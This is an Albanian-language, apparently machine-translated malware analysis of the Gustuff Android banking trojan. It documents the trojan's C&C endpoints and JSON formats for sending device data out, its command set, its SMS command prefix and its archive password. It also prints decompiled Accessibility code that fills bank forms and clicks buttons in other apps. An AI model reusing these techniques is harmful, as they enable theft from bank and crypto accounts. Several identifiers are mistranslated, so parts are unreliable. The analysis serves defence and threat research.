Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja

Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja

Vetëm një ditë tjetër Group-IB përballen në lidhje me aktivitetin e celularit Android Trojan Gustuff. Ai funksionon ekskluzivisht në tregjet ndërkombëtare, duke sulmuar klientët e 100 bankave më të mëdha të huaja, përdoruesit e kuletave të kriptografisë celulare 32, si dhe burime të mëdha të tregtisë elektronike. Por zhvilluesi i Gustuff është një kriminel kibernetik që flet rusisht me pseudonimin Bestoffer. Deri vonë, ai vlerësoi Trojanin e tij si "një produkt serioz për njerëzit me njohuri dhe përvojë".

Specialist i analizës së kodeve me qëllim të keq në Group-IB Ivan Pisarev në kërkimin e tij, ai flet në detaje se si funksionon Gustuff dhe cilat janë rreziqet e tij.

Për kë po gjuan Gustuff?

Gustuff i përket një gjenerate të re të malware me funksione plotësisht të automatizuara. Sipas zhvilluesit, Trojan është bërë një version i ri dhe i përmirësuar i malware AndyBot, i cili që nga nëntori 2017 ka sulmuar telefonat Android dhe ka vjedhur para përmes formave të uebit të phishing, të maskuara si aplikacione celulare të bankave të njohura ndërkombëtare dhe sistemeve të pagesave. Bestoffer raportoi se çmimi i qirasë së Gustuff Bot ishte 800 dollarë në muaj.

Analiza e kampionit Gustuff tregoi se Trojani po synon potencialisht klientët duke përdorur aplikacione celulare të bankave më të mëdha, si Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, si dhe kuletat kripto. Portofolin Bitcoin, BitPay, Cryptopay, Coinbase, etj.

I krijuar fillimisht si një Trojan klasik bankar, në versionin aktual Gustuff ka zgjeruar ndjeshëm listën e objektivave të mundshëm për sulm. Përveç aplikacioneve Android për bankat, kompanitë fintech dhe shërbimet kripto, Gustuff synon përdoruesit e aplikacioneve të tregut, dyqaneve online, sistemeve të pagesave dhe mesazheve të çastit. Në veçanti, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut dhe të tjerë.

Pika hyrëse: llogaritja për infeksion masiv

Gustuff karakterizohet nga vektori "klasik" i depërtimit në telefonat inteligjentë Android përmes postimeve SMS me lidhje në APK. Kur një pajisje Android infektohet me një Trojan me komandën e serverit, Gustuff mund të përhapet më tej përmes bazës së të dhënave të kontaktit të telefonit të infektuar ose përmes bazës së të dhënave të serverit. Funksionaliteti i Gustuff është krijuar për infektim masiv dhe kapitalizimin maksimal të biznesit të operatorëve të tij - ai ka një funksion unik "mbushje automatike" në aplikacionet legjitime të bankingut celular dhe kuletat e kriptove, gjë që ju lejon të përshpejtoni dhe shkallëzoni vjedhjen e parave.

Një studim i Trojanit tregoi se funksioni i mbushjes automatike u zbatua në të duke përdorur Shërbimin e Accessibility, një shërbim për njerëzit me aftësi të kufizuara. Gustuff nuk është trojani i parë që anashkalon me sukses mbrojtjen kundër ndërveprimit me elementët e dritareve të aplikacioneve të tjera që përdorin këtë shërbim Android. Megjithatë, përdorimi i Shërbimit të Accessibility në kombinim me një mbushës makinash është ende mjaft i rrallë.

Pas shkarkimit në telefonin e viktimës, Gustuff, duke përdorur Shërbimin e Aksesueshmërisë, është në gjendje të ndërveprojë me elementët e dritares së aplikacioneve të tjera (bankare, kriptomonedha, si dhe aplikacione për blerje online, mesazhe, etj.), duke kryer veprimet e nevojshme për sulmuesit. . Për shembull, me komandën e serverit, një Trojan mund të shtypë butonat dhe të ndryshojë vlerat e fushave të tekstit në aplikacionet bankare. Përdorimi i mekanizmit të Shërbimit të Aksesueshmërisë i lejon Trojanit të anashkalojë mekanizmat e sigurisë të përdorura nga bankat për t'iu kundërvënë trojanëve celularë të gjeneratës së mëparshme, si dhe ndryshimet në politikën e sigurisë të zbatuara nga Google në versionet e reja të sistemit operativ Android. Kështu, Gustuff "e di se si" të çaktivizojë mbrojtjen e Google Protect: sipas autorit, ky funksion funksionon në 70% të rasteve.

Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja

Gustuff gjithashtu mund të shfaqë njoftime të rreme PUSH me ikona të aplikacioneve legjitime celulare. Përdoruesi klikon në njoftimin PUSH dhe sheh një dritare phishing të shkarkuar nga serveri, ku fut të dhënat e kërkuara të kartës bankare ose të portofolit kripto. Në një skenar tjetër Gustuff, hapet aplikacioni në emër të të cilit u shfaq njoftimi PUSH. Në këtë rast, malware, me urdhër nga serveri nëpërmjet Shërbimit të Aksesueshmërisë, mund të plotësojë fushat e formularit të një aplikacioni bankar për një transaksion mashtrues.

Funksionaliteti i Gustuff përfshin gjithashtu dërgimin e informacionit në lidhje me një pajisje të infektuar në server, aftësinë për të lexuar/dërguar mesazhe SMS, dërgimin e kërkesave USSD, nisjen e SOCKS5 Proxy, ndjekjen e një lidhjeje, dërgimin e skedarëve (përfshirë skanimet e fotografive të dokumenteve, pamjet e ekranit, fotografitë) në server , rivendosni pajisjen në cilësimet e fabrikës.

Analiza e malware

Përpara se të instaloni një aplikacion me qëllim të keq, sistemi operativ Android i tregon përdoruesit një dritare që përmban një listë të të drejtave të kërkuara nga Gustuff:

Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja
Aplikacioni do të instalohet vetëm pas marrjes së pëlqimit të përdoruesit. Pas nisjes së aplikacionit, Trojani do t'i tregojë përdoruesit një dritare:

Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja
Pas së cilës do të heqë ikonën e saj.

Gustuff është paketuar, sipas autorit, nga një paketues nga FTT. Pas nisjes, aplikacioni kontakton periodikisht serverin CnC për të marrë komanda. Disa skedarë që ekzaminuam përdorën një adresë IP si server kontrolli 88.99.171 [.] 105 (në tekstin e mëtejmë do ta shënojmë si <%CnC%>).

Pas nisjes, programi fillon të dërgojë mesazhe në server http://<%CnC%>/api/v1/get.php.

Përgjigja pritet të jetë JSON në formatin e mëposhtëm:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Sa herë që aksesohet aplikacioni, ai dërgon informacion për pajisjen e infektuar. Formati i mesazhit tregohet më poshtë. Vlen të theksohet se fushat Plot, shtesë, apps и leje – opsionale dhe do të dërgohet vetëm në rast të një komande kërkese nga CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Ruajtja e të dhënave të konfigurimit

Gustuff ruan informacione të rëndësishme operative në një skedar preference. Emri i skedarit, si dhe emrat e parametrave në të, janë rezultat i llogaritjes së shumës MD5 nga vargu 15413090667214.6.1<%name%>Ku <%name%> - emër-vlera fillestare. Interpretimi Python i funksionit të gjenerimit të emrit:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Në vijim do ta shënojmë si nameGenerator (hyrje).
Pra, emri i parë i skedarit është: nameGenerator ("API_SERVER_LIST"), përmban vlera me emrat e mëposhtëm:

Emri i ndryshores Vlerë
nameGenerator ("API_SERVER_LIST") Përmban një listë të adresave CnC në formën e një grupi.
nameGenerator ("API_SERVER_URL") Përmban adresën CnC.
nameGenerator ("SMS_UPLOAD") Flamuri është vendosur si parazgjedhje. Nëse flamuri është vendosur, dërgon mesazhe SMS në CnC.
nameGenerator ("SMS_ROOT_NUMBER") Numri i telefonit në të cilin do të dërgohen mesazhet SMS të marra nga pajisja e infektuar. Parazgjedhja është e pavlefshme.
nameGenerator ("SMS_ROOT_NUMBER_RESEND") Flamuri pastrohet si parazgjedhje. Nëse instalohet, kur një pajisje e infektuar merr një SMS, ajo do të dërgohet në numrin rrënjë.
nameGenerator ("DEFAULT_APP_SMS") Flamuri pastrohet si parazgjedhje. Nëse ky flamur është caktuar, aplikacioni do të përpunojë mesazhet SMS në hyrje.
nameGenerator ("DEFAULT_ADMIN") Flamuri pastrohet si parazgjedhje. Nëse flamuri është vendosur, aplikacioni ka të drejta administratori.
nameGenerator ("DEFAULT_ACCESSIBILITY") Flamuri pastrohet si parazgjedhje. Nëse flamuri është caktuar, një shërbim që përdor shërbimin e aksesueshmërisë është duke u ekzekutuar.
nameGenerator ("APPS_CONFIG") Një objekt JSON që përmban një listë veprimesh që duhet të kryhen kur aktivizohet një ngjarje e aksesueshmërisë e lidhur me një aplikacion specifik.
nameGenerator ("APPS_INSTALLED") Ruan një listë të aplikacioneve të instaluara në pajisje.
nameGenerator ("IS_FIST_RUN") Flamuri rivendoset në fillimin e parë.
nameGenerator ("UNIQUE_ID") Përmban një identifikues unik. Gjeneruar kur bot lëshohet për herë të parë.

Modul për përpunimin e komandave nga serveri

Aplikacioni ruan adresat e serverëve CnC në formën e një grupi të koduar nga Baza85 linjat. Lista e serverëve CnC mund të ndryshohet pas marrjes së komandës së duhur, në të cilin rast adresat do të ruhen në një skedar preferencial.

Në përgjigje të kërkesës, serveri dërgon një komandë në aplikacion. Vlen të përmendet se komandat dhe parametrat janë paraqitur në formatin JSON. Aplikacioni mund të përpunojë komandat e mëposhtme:

Ekip Përshkrim
përparaFillimi Filloni të dërgoni mesazhe SMS të marra nga pajisja e infektuar në serverin CnC.
përparaStop Ndalo dërgimin e mesazheve SMS të marra nga pajisja e infektuar në serverin CnC.
ussdRun Ekzekutoni kërkesën USSD. Numri tek i cili duhet të bëni një kërkesë USSD ndodhet në fushën JSON "numri".
dërgoni SMS Dërgoni një mesazh SMS (nëse është e nevojshme, mesazhi "ndahet" në pjesë). Si parametër, komanda merr një objekt JSON që përmban fushat "to" - numrin e destinacionit dhe "trupin" - trupin e mesazhit.
dërgoniSmsAb Dërgoni mesazhe SMS (nëse është e nevojshme, mesazhi "ndahet" në pjesë) për të gjithë në listën e kontakteve të pajisjes së infektuar. Intervali ndërmjet dërgimit të mesazheve është 10 sekonda. Trupi i mesazhit është në fushën JSON "trupi"
dërgoniSmsMass Dërgoni mesazhe SMS (nëse është e nevojshme, mesazhi "ndahet" në pjesë) në kontaktet e specifikuara në parametrat e komandës. Intervali ndërmjet dërgimit të mesazheve është 10 sekonda. Si parametër, komanda merr një grup JSON (fushën "sms"), elementët e së cilës përmbajnë fushat "për" - numrin e destinacionit dhe "trupin" - trupin e mesazhit.
Serveri i ndryshimit Kjo komandë mund të marrë një vlerë me çelësin "url" si parametër - atëherë roboti do të ndryshojë vlerën e nameGenerator("SERVER_URL"), ose "array" - më pas roboti do të shkruajë grupin në nameGenerator ("API_SERVER_LIST") Kështu, aplikacioni ndryshon adresën e serverëve CnC.
Numri i administratorit Komanda është krijuar për të punuar me një numër rrënjë. Komanda pranon një objekt JSON me parametrat e mëposhtëm: "numër" — ndrysho emrinGenerator("ROOT_NUMBER") në vlerën e marrë, "ridërgo" — ndrysho emrinGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" — dërgo te nameGenerator("ROOT_NUMBER" ) ID unike.
updateInfo Dërgoni informacion në lidhje me pajisjen e infektuar në server.
Fshij të dhënat Komanda synon të fshijë të dhënat e përdoruesit. Në varësi të emrit të lëshuar aplikacioni, ose të dhënat fshihen plotësisht me një rindezje të pajisjes (përdoruesi kryesor), ose fshihen vetëm të dhënat e përdoruesit (përdoruesi dytësor).
çorapeFillimi Hapni modulin Proxy. Funksionimi i modulit përshkruhet në një seksion të veçantë.
çorapeStop Ndaloni modulin Proxy.
Link i hapur Ndiqni lidhjen. Lidhja ndodhet në parametrin JSON nën tastin "url". "android.intent.action.VIEW" përdoret për të hapur lidhjen.
ngarkoni të gjitha SMS Dërgoni të gjitha mesazhet SMS të marra nga pajisja në server.
ngarkoni të gjitha fotot Dërgoni imazhe nga një pajisje e infektuar në një URL. URL-ja vjen si parametër.
ngarkoFile Dërgoni një skedar në një URL nga një pajisje e infektuar. URL-ja vjen si parametër.
ngarkoni numrat e telefonit Dërgoni numrat e telefonit nga lista juaj e kontakteve te serveri. Nëse një vlerë objekti JSON me tastin "ab" merret si parametër, aplikacioni merr një listë kontaktesh nga libri i telefonit. Nëse një objekt JSON me çelësin "sms" merret si parametër, aplikacioni lexon listën e kontakteve nga dërguesit e mesazheve SMS.
ndryshimArkivi Aplikacioni shkarkon skedarin nga adresa që vjen si parametër duke përdorur tastin "url". Skedari i shkarkuar ruhet me emrin "archive.zip". Më pas aplikacioni do të zhbllosë skedarin, duke përdorur opsionalisht fjalëkalimin e arkivit "b5jXh37gxgHBrZhQ4j3D". Skedarët e zbërthyer ruhen në direktorinë [e jashtme]/hgps. Në këtë direktori, aplikacioni ruan falsifikimet në ueb (të përshkruara më poshtë).
Veprimet Komanda është krijuar për të punuar me Action Service, i cili përshkruhet në një seksion të veçantë.
provë Duke bërë asgjë.
Shkarko Komanda synon të shkarkojë një skedar nga një server në distancë dhe ta ruajë atë në drejtorinë "Shkarkime". URL-ja dhe emri i skedarit vijnë si parametër, fusha në objektin e parametrit JSON, përkatësisht: "url" dhe "fileName".
heq Heq një skedar nga drejtoria "Shkarkime". Emri i skedarit vjen në një parametër JSON me tastin "Emri i skedarit". Emri standard i skedarit është "tmp.apk".
njoftim Shfaq një njoftim me tekstet e përshkrimit dhe titullit të përcaktuar nga serveri i menaxhimit.

Formati i komandës njoftim:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Njoftimi i gjeneruar nga dosja nën hetim duket identik me njoftimet e gjeneruara nga aplikacioni i specifikuar në fushë app. Nëse vlera e fushës OpenApp — Vërtetë, kur hapet një njoftim, hapet aplikacioni i specifikuar në fushë app. Nëse vlera e fushës OpenApp - E rreme, pra:

  • Hapet një dritare phishing, përmbajtja e së cilës shkarkohet nga drejtoria <%ruajtje e jashtme%>/hgps/<%filename%>
  • Hapet një dritare phishing, përmbajtja e së cilës shkarkohet nga serveri <%url%>?id=<%Bot id%>&app=<%Application Emri%>
  • Hapet një dritare phishing, e maskuar si një kartë Google Play, me mundësinë për të futur detajet e kartës.

Aplikacioni dërgon rezultatin e çdo komande te <%CnC%>set_state.php si një objekt JSON në formatin e mëposhtëm:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Shërbimi i Veprimeve
Lista e komandave që përpunon aplikacioni përfshin veprim. Kur merret një komandë, moduli i përpunimit të komandës i qaset këtij shërbimi për të ekzekutuar komandën e zgjeruar. Shërbimi pranon një objekt JSON si parametër. Shërbimi mund të ekzekutojë komandat e mëposhtme:

1. PARAMS_ACTION — kur merr një komandë të tillë, shërbimi së pari merr nga parametri JSON vlerën e tastit Type, i cili mund të jetë si më poshtë:

  • Shërbimi Info – Nënkomanda merr vlerën me çelës nga parametri JSON përfshin Jo të Rëndësishme. Nëse flamuri është i vërtetë, aplikacioni vendos flamurin FLAG_ISOLATED_PROCESS në një shërbim që përdor shërbimin e aksesueshmërisë. Në këtë mënyrë shërbimi do të nisë në një proces të veçantë.
  • rrënjë — merrni dhe dërgoni te serveri informacion në lidhje me dritaren që është aktualisht në fokus. Aplikacioni merr informacion duke përdorur klasën AccessibilityNodeInfo.
  • admin — kërkoni të drejtat e administratorit.
  • vonesë — pezulloni ActionsService për numrin e milisekondave të specifikuara në parametrin për tastin "data".
  • dritaret — dërgoni një listë të dritareve të dukshme për përdoruesin.
  • instaloj — instaloni aplikacionin në pajisjen e infektuar. Emri i paketës së arkivit është në tastin "Emri i skedarit". Vetë arkivi ndodhet në drejtorinë Shkarkime.
  • global – Nënkomanda synon të lundrojë nga dritarja aktuale:
    • në menynë Cilësimet e shpejta
    • назад
    • në shtëpi
    • te njoftimet
    • në dritaren e aplikacioneve të hapura së fundi

  • Nisja - nisni aplikacionin. Emri i aplikacionit vjen si një parametër për çelës të dhëna.
  • Dashuri — ndryshoni modalitetin e zërit në heshtje.
  • hap — ndez dritën e prapme të ekranit dhe tastierës në ndriçim të plotë. Aplikacioni e kryen këtë veprim duke përdorur WakeLock, duke specifikuar vargun [Application lable]:INFO si etiketë
  • mbivendosja e lejes — funksioni nuk është implementuar (përgjigja ndaj ekzekutimit të komandës është {"message":"Not support"} ose {"message":"low sdk"})
  • gjest — funksioni nuk është implementuar (përgjigja ndaj ekzekutimit të komandës është {"message":"Not support"}ose {"message":"Low API"})
  • lejet — kjo komandë është e nevojshme për të kërkuar leje për aplikacionin. Sidoqoftë, funksioni i pyetjes nuk zbatohet, kështu që komanda është e pakuptimtë. Lista e të drejtave të kërkuara vjen si një grup JSON me çelësin "lejet". Lista standarde:
    • android.leja.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • hapur — shfaq një dritare phishing. Në varësi të parametrit që vjen nga serveri, aplikacioni mund të shfaqë dritaret e mëposhtme të phishing:
    • Trego një dritare phishing, përmbajtja e së cilës është e shkruar në një skedar në një direktori <%drejtoria e jashtme%>/hgps/<%param_filename%>. Rezultati i ndërveprimit të përdoruesit me dritaren do të dërgohet në <%CnC%>/records.php
    • Shfaq një dritare phishing, përmbajtja e së cilës është ngarkuar paraprakisht nga adresa <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Rezultati i ndërveprimit të përdoruesit me dritaren do të dërgohet në <%CnC%>/records.php
    • Trego një dritare phishing të maskuar si një kartë Google Play.

  • interaktiv — komanda është krijuar për të bashkëvepruar me elementët e dritareve të aplikacioneve të tjera duke përdorur AcessibilityService. Një shërbim i veçantë është zbatuar në program për ndërveprim. Aplikacioni nën hetim mund të ndërveprojë me Windows:
    • Aktualisht aktiv. Në këtë rast, parametri përmban ID-në ose tekstin (emrin) e objektit me të cilin duhet të ndërveproni.
    • E dukshme për përdoruesin në kohën kur komanda ekzekutohet. Aplikacioni zgjedh dritaret sipas id.

    Duke marrë objekte AccessibilityNodeInfo Për elementët e dritares me interes, aplikacioni, në varësi të parametrave, mund të kryejë veprimet e mëposhtme:

    • fokus - vendos fokusin tek objekti.
    • klikoni - klikoni në një objekt.
    • actionId — kryeni një veprim me ID.
    • setText - ndryshoni tekstin e një objekti. Ndryshimi i tekstit është i mundur në dy mënyra: kryeni një veprim ACTION_SET_TEXT (nëse versioni Android i pajisjes së infektuar është më i ri ose i barabartë me Lollipop), ose duke vendosur një varg në clipboard dhe duke e ngjitur atë në një objekt (për versionet më të vjetra). Kjo komandë mund të përdoret për të ndryshuar të dhënat në një aplikacion bankar.

2. PARAMS_ACTIONS - e njejta si PARAMS_ACTION, arrin vetëm një grup komandash JSON.

Duket se shumë njerëz do të jenë të interesuar se si duket funksioni i bashkëveprimit me elementët e dritares së një aplikacioni tjetër. Kështu zbatohet ky funksionalitet në Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funksioni i zëvendësimit të tekstit:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Kështu, me konfigurimin e saktë të serverit të kontrollit, Gustuff është në gjendje të plotësojë fushat e tekstit në aplikacionin bankar dhe të klikojë mbi butonat e nevojshëm për të përfunduar transaksionin. Trojan nuk ka nevojë as të hyjë në aplikacion - mjafton të dërgoni një komandë për të shfaqur një njoftim PUSH dhe më pas të hapni aplikacionin bankar të instaluar më parë. Përdoruesi do të vërtetojë veten, pas së cilës Gustuff do të jetë në gjendje të mbushë makinën.

Moduli i përpunimit të mesazheve SMS

Aplikacioni instalon një mbajtës ngjarjesh që pajisja e infektuar të pranojë mesazhe SMS. Aplikacioni në studim mund të marrë komanda nga operatori, të cilat vijnë në trupin e mesazhit SMS. Komandat vijnë në formatin:

7!5=<%Base64 komanda e koduar%>

Aplikacioni kërkon për vargun në të gjitha mesazhet SMS në hyrje 7!5=, kur zbulohet një varg, ai dekodon vargun nga Base64 në offset 4 dhe ekzekuton komandën. Komandat janë të ngjashme me ato me CnC. Rezultati i ekzekutimit dërgohet në të njëjtin numër nga i cili erdhi komanda. Formati i përgjigjes:

7*5=<%Base64 kodifikon "komandën e kodit të rezultateve"%>

Opsionale, aplikacioni mund të dërgojë të gjitha mesazhet e marra në numrin Root. Për ta bërë këtë, numri Root duhet të specifikohet në skedarin e preferencës dhe duhet të vendoset flamuri i ridrejtimit të mesazhit. Një mesazh SMS dërgohet në numrin e sulmuesit në formatin:

<%Nga numri%> - <%Koha, formati: dd/MM/vvvv HH:mm:ss%> <%SMS body%>

Gjithashtu, sipas dëshirës, ​​aplikacioni mund të dërgojë mesazhe në CnC. Mesazhi SMS dërgohet në server në formatin JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Nëse flamuri është vendosur nameGenerator ("DEFAULT_APP_SMS") – aplikacioni ndalon përpunimin e mesazhit SMS dhe pastron listën e mesazheve në hyrje.

Moduli proxy

Aplikacioni në studim përmban një modul Backconnect Proxy (më tej i referuar si moduli Proxy), i cili ka një klasë të veçantë që përfshin fusha statike me konfigurim. Të dhënat e konfigurimit ruhen në mostër në formë të qartë:

Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja

Të gjitha veprimet e kryera nga moduli Proxy regjistrohen në skedarë. Për ta bërë këtë, aplikacioni në ruajtjen e jashtme krijon një direktori të quajtur "logs" (fusha ProxyConfigClass.logsDir në klasën e konfigurimit), në të cilën ruhen skedarët e regjistrave. Regjistrimi ndodh në skedarë me emra:

  1. kryesore.txt – puna e klasës së quajtur CommandServer është regjistruar në këtë skedar. Në vijim, regjistrimi i vargut str në këtë skedar do të shënohet si mainLog(str).
  2. sesioni-<%id%>.txt — ky skedar ruan të dhënat e regjistrit të lidhur me një sesion të caktuar proxy. Në vijim, regjistrimi i vargut str në këtë skedar do të shënohet si sessionLog (str).
  3. server.txt – ky skedar përdoret për të regjistruar të gjitha të dhënat e shkruara në skedarët e përshkruar më sipër.

Formati i të dhënave të regjistrit:

<%Date%> [Tema[<% id%>], id[]]: log-string

Përjashtimet që ndodhin gjatë funksionimit të modulit Proxy regjistrohen gjithashtu në një skedar. Për ta bërë këtë, aplikacioni gjeneron një objekt JSON në formatin e mëposhtëm:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Pastaj e konverton atë në një paraqitje të vargut dhe e regjistron atë.

Moduli Proxy niset pas marrjes së komandës përkatëse. Kur merret një komandë për të nisur modulin Proxy, aplikacioni fillon një shërbim të quajtur Shërbimi kryesor, i cili është përgjegjës për menaxhimin e funksionimit të modulit Proxy - fillimin dhe ndalimin e tij.

Fazat e fillimit të shërbimit:

1. Nis një kohëmatës që funksionon një herë në minutë dhe kontrollon aktivitetin e modulit Proxy. Nëse moduli nuk është aktiv, ai e nis atë.
Gjithashtu kur shkaktohet ngjarja android.net.conn.CONNECTIVITY_CHANGE Moduli Proxy është nisur.

2. Aplikacioni krijon një wake-lock me parametrin PARTIAL_WAKE_LOCK dhe e kap atë. Kjo parandalon që procesori i pajisjes të kalojë në modalitetin e fjetjes.

3. Nis klasën e përpunimit të komandave të modulit Proxy, duke regjistruar fillimisht linjën mainLog ("fillimi i serverit") и

Serveri::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

ku proxy_cnc, command_port dhe proxy_port – parametrat e marrë nga konfigurimi i serverit Proxy.

Klasa e përpunimit të komandave thirret CommandConnection. Menjëherë pas fillimit, kryeni veprimet e mëposhtme:

4. Lidhet me ProxyConfigClass.host: ProxyConfigClass.commandPort dhe dërgon të dhëna për pajisjen e infektuar atje në formatin JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Ku:

  • id – identifikues, përpiqet të marrë një vlerë me fushën “id” nga skedari Shared Preference me emrin “x”. Nëse kjo vlerë nuk mund të merret, ajo gjeneron një të re. Kështu, moduli Proxy ka identifikuesin e tij, i cili gjenerohet në mënyrë të ngjashme me ID-në e Bot.
  • imei - IMEI i pajisjes. Nëse ka ndodhur një gabim gjatë procesit të marrjes së vlerës, në vend të kësaj fushe do të shkruhet një mesazh me tekst gabimi.
  • imsi — Identiteti ndërkombëtar i pajtimtarit celular të pajisjes. Nëse ka ndodhur një gabim gjatë procesit të marrjes së vlerës, në vend të kësaj fushe do të shkruhet një mesazh me tekst gabimi.
  • model - Emri i dukshëm nga përdoruesi i fundit për produktin përfundimtar.
  • prodhuesi — Prodhuesi i produktit/hardware (Build. PRODHUESI).
  • androidVersion - një varg në formatin "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • shteti — vendndodhja aktuale e pajisjes.
  • partnerId është një varg bosh.
  • Emri i paketës – emri i paketës.
  • NetworkType — lloji i lidhjes aktuale të rrjetit (shembull: "WIFI", "MOBILE"). Në rast gabimi, kthen null.
  • ka GsmSupport – true – nëse telefoni mbështet GSM, përndryshe false.
  • simReady – gjendja e kartës SIM.
  • simCountry - Kodi ISO i vendit (bazuar në ofruesin e kartës SIM).
  • NetworkOperator - emri i operatorit. Nëse ka ndodhur një gabim gjatë procesit të marrjes së vlerës, në vend të kësaj fushe do të shkruhet një mesazh me tekst gabimi.
  • simOperator - Emri i Ofruesit të Shërbimit (SPN). Nëse ka ndodhur një gabim gjatë procesit të marrjes së vlerës, në vend të kësaj fushe do të shkruhet një mesazh me tekst gabimi.
  • version - kjo fushë ruhet në klasën e konfigurimit; për versionet e testuara të botit ishte e barabartë me "1.6".

